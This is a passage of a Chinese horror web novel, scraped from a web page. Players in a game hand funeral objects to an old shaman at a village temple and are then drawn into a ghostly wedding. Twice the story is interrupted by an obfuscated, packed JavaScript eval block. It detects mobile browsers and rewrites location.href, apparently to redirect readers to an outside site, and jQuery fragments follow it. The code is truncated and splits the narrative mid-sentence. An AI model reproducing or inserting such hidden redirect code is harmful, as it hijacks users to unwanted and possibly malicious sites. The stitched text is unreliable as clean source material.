;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13930953|142342||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
高悬着的太阳,安哲揉了揉脸,谨慎将刀唤出。
“不管怎么说,先把任务给交了。”
其他人当然没有异议,一行人就这么沉默地踏上了前往送女娘娘庙的路。
大家都不是萌新,都有最基本的记路素养,走在村里灰扑扑的土路上,安哲扭头打量四周,发现今天的村庄格外沉默。
“好安静啊。”
“因为昨晚大部分都已经被杀了一遍吧……”
不止安哲和李玉,严嵩他们明显也没少动手。
来到送女娘娘庙后,果不其然的,在老神棍和村长旁边,胖虎高高壮壮的身影已经立在了一侧。
“呦,醒得挺快啊。”
昨晚在梦中已经闹翻,此时的胖虎也懒得装了。
他冷笑着看着安哲他们,有些偏小的眼睛里满是凶意,就连脸上的横肉都透着几分凶狠。
“我还想着趁你们睡着了没醒,过去在你们脖子下面挨个划上一刀呢,真可惜啊,没给我这个机会……”
没有人搭理胖虎,大家都清楚这家伙不敢去赌。
赌赢了固然很爽,可能轻而易举地就手刃掉好几个仇人。
可万一赌输了呢?
大家都是老玩家,身上多多少少地都有几个保命道具,昨晚胖虎和司服提前设好陷阱偷袭都没能将高溯秒掉,硬是凭着各种道具撑了好几秒,更遑论大家撕破脸皮闹翻后的现在了。
到时候万一没有偷袭成功,其他人被成功吵醒,介时情况就又变成了昨晚梦中的场景。
而他胖虎要是能一打多硬气抗住,还会消耗特殊道具使得昨晚梦境提前结束?
对胖虎色厉内荏的情况心知肚明,在场的众人没有一个搭理他的,昨晚刚死了同伴的林凡更是用仇恨地眼光盯着胖虎,表情沉默而又阴郁。
“咳,高人们既然来了,就赶快把昨天吩咐给你们的冥器拿出来吧。”
老神棍嗓音一如既往的尖利,他拄着拐杖,咄、咄地向前走去,晃晃悠悠的,第一个就停在了李玉身前。
“丫头,你的龙凤帖,做好了吗?”
出乎安哲意料的是,明明看起来和胖虎他们是一伙的,对他们态度很差,刚才偷偷瞪了他们好几眼的老神棍对上李玉时,表情倒是出奇的和善与舒缓。
面对老神棍莫名其妙的善意,李玉冷脸从背包中掏出一个木质的小木片递了上去,没有半点回复的意思。
好脾气地无视了李玉的冷脸,老神棍将李玉递来的龙凤帖接过,拿在眼前仔细地看了好一会儿。
由于距离较远,中间又有老神棍在用身体挡着,安哲没看见龙凤帖上的内容,只隐约看到了上面有一大数小的几行小字。
将已经由木色转为赤红的龙凤帖接过后,老神棍脸上皱着的褶皱舒缓了不少。
他笑眯眯地向后走去,依次从严嵩、林凡手中接过已经全部染红的红盖头与装着珠宝的锦匣。
由于昨晚胖虎他们的突袭与打搅,林凡交上去的锦匣木中透红,递交时锦匣里的轻微碰撞声也稀稀落落的,听起来似乎没多少东西。
见状,老神棍皱了皱眉,脸上的神情有些阴郁。
目光冰冷地瞪了林凡一眼,老神棍拄着拐棍,剁、剁地向安哲走去。
在安哲身前缓缓停下,老神棍伸手,脸上的褶皱在笑容的挤压下遍布出了一张恐怖痕图。
“嫁衣呢?!”
老神棍嗓音尖利地问道,紧紧盯着安哲的眼神很是吓人。
“你该不会是,根本没做吧?”
“怎么会呢,看好了嗷!”
瞄了正揣手站在村长旁边,幸灾乐祸向他看来的胖虎,安哲小手一翻,将染红后可以放进背包里的纸嫁衣拿出。
“看我给你来上一出,精彩绝伦的神奇魔术!”
足有一人高的长木棍‘咚’的一声砸落在地,安哲站在门口的背光处,将挂着纸嫁衣的长长十字形木棍立在了老神棍面前。
光线昏暗的送女娘娘庙里,被彻底染红,甚至红得发暗的嫁衣随风轻轻飘扬。
在金色流苏的装饰下,浓重的红愈发妖冶,恍惚间似乎在流动,淡淡的血腥味压抑不住地从纸嫁衣上飘来,带着点微不可闻的臭。
心机地将纸嫁衣正面迎敌,用身体遮挡住背面衣角处那块小小的淡红,看着眼前已然被震呆了的两个老登和胖虎那个油腻中登,安哲乐呵呵地笑了笑,眉梢得意轻挑。
“怎么样啊大爷,我这嫁衣做得是不是很好?”
“好,是挺好的……别叫我大爷,叫我‘神婆’大人!!”
嗓音尖利地训斥了安哲几句,老神棍抬头,难以置信地盯着纸嫁衣看了几眼。
片刻后,仿佛被纸嫁衣上的凶气骇到,老神棍噔噔噔地倒退几步,揉了揉眼睛一脸不信地继续猛瞧。
“将嫁衣染成这样……”
你是杀了多少人?
老神棍下意识地开口,想要质问,然后质问的话说到一半,仿佛突然想到了什么般,老神棍将话紧急咽下,有些忌惮地向身后胖虎所在的位置扫了一眼。
一晚上的时间过去,昨天还在的七个人,今天直接少了两个,其中有一个甚至还是那边过来的。
怪不得他们交上来的这批冥器质量这么好,这家伙的脸色又那么的差……
顺理成章地将冥器上饱蘸着的鲜血理解为了队伍内部的互相厮杀,老神棍偷偷瞄了胖虎一眼,笑呵呵地收回视线。
为了以防万一,老神棍还是偷偷感应了一下。
顺利从嫁衣上感受到了来自人类的鲜血,虽然不知为何,鲜血的感应十分微弱,但毕竟还是有的。
不管这个年轻人是用自己的血还是队友的血涂红的嫁衣,对他们来说结果都是一样。
满意地收回视线,老神棍拄着拐杖,剁、剁地又重新慢步回了神像庙内的正前方。
耷拉成好几层的眼皮轻轻垂着,老神棍身侧,鲜艳如血的纸冥器在昏暗光线中闪烁着诡异的红。
见他站在那里一动不动地发呆,久久没有下一步的动作,林凡扫了眼老神棍旁边正似笑非笑看着他们的胖虎,一时间有些焦急。
“神……婆大人,现在冥器已经备齐,我们接下来还有什么新的任务吗?”
有充足的理由怀疑胖虎这个狗东西就是在拖延时间,等到任务结束出去后在噩梦委员会的庇护下,他就再也没法向胖虎报仇。
林凡忽略掉了从刚才起就隐隐刚到有些不对的第六感,盯着老神棍认真问道。
“我们接下来是不是就能自由活动了,等晚上的点化仪式前再回来这里?”
“可以,当然可以。”
似乎早就料到了他会这样问般,老神棍皱巴巴地笑着。
他浑浊阴森的眼神似有若无地扫来,从安哲等人的身上依次扫过,全身上下都透露着不安好心,即将搞事的森然恶意。
在林凡高度紧绷的目光中,老神棍又笑了一下,他拄着拐杖往回走去,嗓音古怪尖利。
“各位高人,记得来参加晚上的点化仪式!”
咚!
老神棍拐杖点下的那一瞬间,仿佛洪钟大吕般,高昂扩大的宏大敲击声在每个人的耳边响起,震得人恍惚一瞬。
而就在这下意识的恍惚中,安哲眼前猛地一花,昏暗庄肃的送女娘娘庙不再,取而代之的,是满堂喜庆,遍地的鲜红。
“吉时已到,迎新娘子喽——”
安哲身后,有人伸手猛地推了他一把。
安哲拧眉回神,铺天盖地的喜庆与喧哗中,嘻嘻哈哈的声音从耳边响起,分辨不出到底是从哪传来的。
“别发呆了小哥,快去迎新娘子了!”
33.乡村诡话(七)
远处,惊雷般的喊声猛然炸响,将陷入恍惚中的玩家们惊回神来。
周围人群层层叠叠地拥挤着,推搡着安哲他们往前走去。
在林凡难以置信的目光中,一个昨晚刚被他杀掉的村民在他肩膀上使劲推了一手,黯淡无光的眼睛里满是怨毒。
“快往前去啊!堵在这里干什么,送女娘娘显灵,迎新娘子了!”
林凡被他推得猛地踉跄了一下,差点被身后的人潮踩倒,还是安哲和严嵩拉了他一把才站稳。
看着满村的大人和小孩一身鲜红,拥挤吵嚷着向前蜂拥而去的样子,林凡揉了揉眼,一时间有些难以置信。
“他们这是……复活了?”
“不清楚,但我猜,昨晚应该是没有死全吧。”
周围村民对他们的恶意很大,借着往前挤的动作使劲推搡着想将他们分开。
和严嵩一
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13930954|142342||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
起牢牢抓住了林凡,三人呈一条歪曲的线性艰难地向前被推去,感受到周围那毫不遮掩的满满恨意,安哲轻轻皱眉。
昨晚啃干巴鬼尸的时候黑色冤魂就给他传递过消息,干尸里残留的能量很少,即便已经被嫁衣吸了一遍血,以白天遇见的村民们体内澎湃的能量来说,也依旧很不够格。
安哲打量四周,发现昨晚那些被他杀掉的村民除了王多梓和王多民父子外都在。